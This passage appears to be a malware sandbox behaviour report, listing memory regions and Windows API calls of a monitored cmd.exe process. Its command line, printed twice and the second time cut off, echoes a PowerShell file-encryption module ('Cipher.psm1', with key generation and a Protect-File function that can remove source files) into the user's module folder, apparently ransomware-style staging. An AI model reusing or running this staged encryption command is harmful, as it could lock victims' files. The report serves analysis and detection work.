= 0xdc83b7ffff entry_point = 0x0 region_type = private name = "private_0x000000dc83b70000" filename = "" Region: id = 219 start_va = 0xdc83be0000 end_va = 0xdc83f16fff entry_point = 0xdc83be0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 220 start_va = 0xdc83f20000 end_va = 0xdc84139fff entry_point = 0x0 region_type = private name = "private_0x000000dc83f20000" filename = "" Region: id = 221 start_va = 0xdc84140000 end_va = 0xdc8435ffff entry_point = 0x0 region_type = private name = "private_0x000000dc84140000" filename = "" Region: id = 222 start_va = 0xdc84360000 end_va = 0xdc84472fff entry_point = 0x0 region_type = private name = "private_0x000000dc84360000" filename = "" Region: id = 223 start_va = 0xdc84480000 end_va = 0xdc8469cfff entry_point = 0x0 region_type = private name = "private_0x000000dc84480000" filename = "" Region: id = 224 start_va = 0xdc846a0000 end_va = 0xdc847a9fff entry_point = 0x0 region_type = private name = "private_0x000000dc846a0000" filename = "" Region: id = 225 start_va = 0xdc847b0000 end_va = 0xdc84867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc847b0000" filename = "" Region: id = 226 start_va = 0x7ff7d60be000 end_va = 0x7ff7d60bffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60be000" filename = "" Region: id = 227 start_va = 0x7ffc525f0000 end_va = 0x7ffc52611fff entry_point = 0x7ffc525f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 228 start_va = 0x7ffc52640000 end_va = 0x7ffc52652fff entry_point = 0x7ffc52640000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 229 start_va = 0x7ffc53720000 end_va = 0x7ffc53777fff entry_point = 0x7ffc53720000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 230 start_va = 0xdc83b30000 end_va = 0xdc83b36fff entry_point = 0x0 region_type = private name = "private_0x000000dc83b30000" filename = "" Region: id = 231 start_va = 0xdc83b40000 end_va = 0xdc83b44fff entry_point = 0xdc83b40000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 232 start_va = 0xdc83b50000 end_va = 0xdc83b50fff entry_point = 0xdc83b50000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 233 start_va = 0xdc83b60000 end_va = 0xdc83b61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc83b60000" filename = "" Region: id = 234 start_va = 0xdc84870000 end_va = 0xdc84a65fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc84870000" filename = "" Region: id = 235 start_va = 0x7ffc4cbd0000 end_va = 0x7ffc4ce43fff entry_point = 0x7ffc4cbd0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Region: id = 236 start_va = 0xdc83b80000 end_va = 0xdc83b80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc83b80000" filename = "" Region: id = 237 start_va = 0xdc83b90000 end_va = 0xdc83b91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc83b90000" filename = "" Region: id = 238 start_va = 0x7ffc543d0000 end_va = 0x7ffc5443afff entry_point = 0x7ffc543d0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Thread: id = 2 os_tid = 0xc54 Thread: id = 3 os_tid = 0xc6c Thread: id = 4 os_tid = 0xc80 Thread: id = 5 os_tid = 0xc94 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2adab000" os_pid = "0x2f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xc48" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cmd.exe /c mkdir %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & echo [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName='PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 & echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cipher.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$PaddingMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = \".$Algorithm\", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Cryp" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 258 start_va = 0xca0000 end_va = 0xcbffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 259 start_va = 0xcc0000 end_va = 0xcc4fff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 260 start_va = 0xcd0000 end_va = 0xce3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 261 start_va = 0xcf0000 end_va = 0xd2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 262 start_va = 0xd30000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 263 start_va = 0x1030000 end_va = 0x107ffff entry_point = 0x1030000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 264 start_va = 0x1080000 end_va = 0x507ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 265 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 266 start_va = 0x7ec80000 end_va = 0x7eca2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ec80000" filename = "" Region: id = 267 start_va = 0x7ecaa000 end_va = 0x7ecaafff entry_point = 0x0 region_type = private name = "private_0x000000007ecaa000" filename = "" Region: id = 268 start_va = 0x7ecac000 end_va = 0x7ecaefff entry_point = 0x0 region_type = private name = "private_0x000000007ecac000" filename = "" Region: id = 269 start_va = 0x7ecaf000 end_va = 0x7ecaffff entry_point = 0x0 region_type = private name = "private_0x000000007ecaf000" filename = "" Region: id = 270 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 271 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 272 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 273 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 274 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 275 start_va = 0xe30000 end_va = 0xe33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 276 start_va = 0xe40000 end_va = 0xe40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 277 start_va = 0xe50000 end_va = 0xe51fff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 278 start_va = 0xea0000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 279 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 280 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 281 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 282 start_va = 0xca0000 end_va = 0xcaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 283 start_va = 0xe60000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 284 start_va = 0xeb0000 end_va = 0xf6dfff entry_point = 0xeb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 285 start_va = 0x5150000 end_va = 0x524ffff entry_point = 0x0 region_type = private name = "private_0x0000000005150000" filename = "" Region: id = 286 start_va = 0x5250000 end_va = 0x534ffff entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 287 start_va = 0x5500000 end_va = 0x550ffff entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 288 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 289 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 290 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 291 start_va = 0x7eb80000 end_va = 0x7ec7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eb80000" filename = "" Region: id = 292 start_va = 0x7eca7000 end_va = 0x7eca9fff entry_point = 0x0 region_type = private name = "private_0x000000007eca7000" filename = "" Region: id = 293 start_va = 0xcb0000 end_va = 0xcb3fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 294 start_va = 0xcc0000 end_va = 0xcc3fff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 295 start_va = 0x5510000 end_va = 0x5846fff entry_point = 0x5510000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 7 os_tid = 0xa5c [0048.148] GetModuleHandleA (lpModuleName=0x0) returned 0x1030000 [0048.148] __set_app_type (_Type=0x1) [0048.148] __p__fmode () returned 0x76fd4d6c [0048.148] __p__commode () returned 0x76fd5b1c [0048.148] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10436e0) returned 0x0 [0048.148] __getmainargs (in: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0, _DoWildCard=0, _StartInfo=0x10550fc | out: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0) returned 0 [0048.149] GetCurrentThreadId () returned 0xa5c [0048.149] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa5c) returned 0x84 [0048.150] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0048.150] GetProcAddress (hModule=0x74f40000, lpProcName="SetThreadUILanguage") returned 0x74f82780 [0048.150] SetThreadUILanguage (LangId=0x0) returned 0x409 [0048.156] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0048.156] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe2f850 | out: phkResult=0xe2f850*=0x0) returned 0x2 [0048.156] VirtualQuery (in: lpAddress=0xe2f857, lpBuffer=0xe2f808, dwLength=0x1c | out: lpBuffer=0xe2f808*(BaseAddress=0xe2f000, AllocationBase=0xd30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0048.156] VirtualQuery (in: lpAddress=0xd30000, lpBuffer=0xe2f808, dwLength=0x1c | out: lpBuffer=0xe2f808*(BaseAddress=0xd30000, AllocationBase=0xd30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0048.156] VirtualQuery (in: lpAddress=0xd31000, lpBuffer=0xe2f808, dwLength=0x1c | out: lpBuffer=0xe2f808*(BaseAddress=0xd31000, AllocationBase=0xd30000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0048.156] VirtualQuery (in: lpAddress=0xd33000, lpBuffer=0xe2f808, dwLength=0x1c | out: lpBuffer=0xe2f808*(BaseAddress=0xd33000, AllocationBase=0xd30000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0048.156] VirtualQuery (in: lpAddress=0xe30000, lpBuffer=0xe2f808, dwLength=0x1c | out: lpBuffer=0xe2f808*(BaseAddress=0xe30000, AllocationBase=0xe30000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0048.156] GetConsoleOutputCP () returned 0x1b5 [0048.158] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0048.158] SetConsoleCtrlHandler (HandlerRoutine=0x104f980, Add=1) returned 1 [0048.158] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.158] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0048.162] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.162] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0048.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.163] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0048.164] _get_osfhandle (_FileHandle=0) returned 0x38 [0048.164] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0048.166] _get_osfhandle (_FileHandle=0) returned 0x38 [0048.166] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1e7) returned 1 [0048.170] GetEnvironmentStringsW () returned 0x515d928* [0048.170] FreeEnvironmentStringsA (penv="A") returned 1 [0048.170] GetEnvironmentStringsW () returned 0x515d928* [0048.171] FreeEnvironmentStringsA (penv="A") returned 1 [0048.171] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe2e7b4 | out: phkResult=0xe2e7b4*=0x94) returned 0x0 [0048.173] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x78, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x1, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x1, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x0, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x40, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x40, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x40, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.179] RegCloseKey (hKey=0x94) returned 0x0 [0048.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe2e7b4 | out: phkResult=0xe2e7b4*=0x94) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x40, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x1, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x1, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x0, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.179] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x9, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.180] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x4, lpData=0xe2e7c0*=0x9, lpcbData=0xe2e7bc*=0x4) returned 0x0 [0048.180] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe2e7b8, lpData=0xe2e7c0, lpcbData=0xe2e7bc*=0x1000 | out: lpType=0xe2e7b8*=0x0, lpData=0xe2e7c0*=0x9, lpcbData=0xe2e7bc*=0x1000) returned 0x2 [0048.180] RegCloseKey (hKey=0x94) returned 0x0 [0048.180] time (in: timer=0x0 | out: timer=0x0) returned 0x5c5c82c9 [0048.180] srand (_Seed=0x5c5c82c9) [0048.180] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cmd.exe /c mkdir %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & echo [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName='PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 & echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cipher.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$PaddingMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = \".$Algorithm\", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = 